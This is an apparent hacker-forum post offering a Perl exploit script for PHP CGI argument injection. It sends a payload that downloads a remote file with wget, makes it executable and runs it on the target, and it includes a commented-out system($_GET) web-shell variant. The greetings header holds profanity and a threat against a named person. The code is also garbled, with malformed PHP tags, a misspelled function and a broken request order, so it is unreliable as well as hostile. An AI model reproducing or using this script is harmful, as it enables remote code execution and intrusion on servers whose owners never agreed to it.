Done this, but, this is only a basic version wich, i guess does things in a nice way
it is my 3rd perl exploit , so pls dont bash me, any fixes etc would be appreciated BUT remember it is using the RIGHT method, ie: injecting php by shellexec()
wich IS a PHP CGI function, and the ONLY way it Will definately exec!
ALSO this CAN execute cmds ofc, i will addin a line if you wish to do this.. ok…
Ok now on with the show….
#!/usr/bin/perl ## PHP CGI exec-cmd/injection of code thru php tags by (xd) ###Greetz: My channel on efnet / #Haxnet , ppl @ps in it ###greetz#1: tropic,dolphin,galaxy,Mouse_,MeOwie,nme,Meta,roy-ITUG,rotor/aussies,even iCER ya prick###and pt.2: FUZi0N,Motd/AlbaHack,Serh/RoHack,l3th4l/smashthestack.org,gizmore/wechall.net (Best 2 wargames around!) ###and pt3: storm, ev0, insid, worldwide (yea my juped nick thx to a fbi infomant named: krashed ,but ya'll know tht ;;)) ###and pt 4: fuckwitz , zeu ,and hell, i cant rmember ya all but, you know who ya are, the ppl who contribute and help.. i <3 yas.. ###Crews: AB (My mentors,inspirators.. <3) , Br Hackers and the BR AnonOps/Antisec team,AlbaHack,RoHack,DARPA (still love most of yas BUT ONE!) <3 peanuter ..comeback br0) ### MAJOR fuckage to ONLY one: krashed / [krashed] - motherfucker, YOUR TIME is come!! use IO::Socket; use Socket; if (@ARGV<2) { print "Usage: $0 <host>\n"; print "OPTIONAL CMD USE BUT DISABLED : [Ex: id]>\n"; exit(-1); } ##my $cmd_exec_payload = "<php? system($_GET[\'$cmd\']); ?>"; ## Optional my $payload = "<php? shellexec(wget -q http://fbi.gov/0day.txt;chmod +x 0day.txt;perl -e 0day.txt); ?>"; ## Config here my $host=$ARGV[0]; my $cmd=$ARGV[1]; my($host, $cmd) = @ARGV or usage(); sub Connect { print "[+] Connecting ..\n"; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] Connect Error ..\n"; exit(-1); } $cmd = "POST http://". $host ."//cgi-bin/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D". $payload ." HTTP/1.1\r\n"; print $sock "Host: $host\n"; print $sock "Accept: */*\n"; print $sock "\n\n"; ##$cmd = "POST http://". $host ."//cgi-bin/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D". $cmd_exec_payload ." HTTP/1.1\r\n"; ##print $sock "Host: $host\n"; ##print $sock "Accept: */*\n"; ##print $sock "\n\n"; while () { $rp = rand; &Connect; print "[+] Executing command exec payload thru php-shellexec: ( $cmd ) ..\n"; my $answer=0; print $sock; if ($sock) { print "[+] Sent evilcode,running: ( $cmd ) ..\n"; while ($answer=<$sock>) { print $answer; print results "[*] Server reply: ( $answer ) ..\n"; } } }
Enjoy / xd–
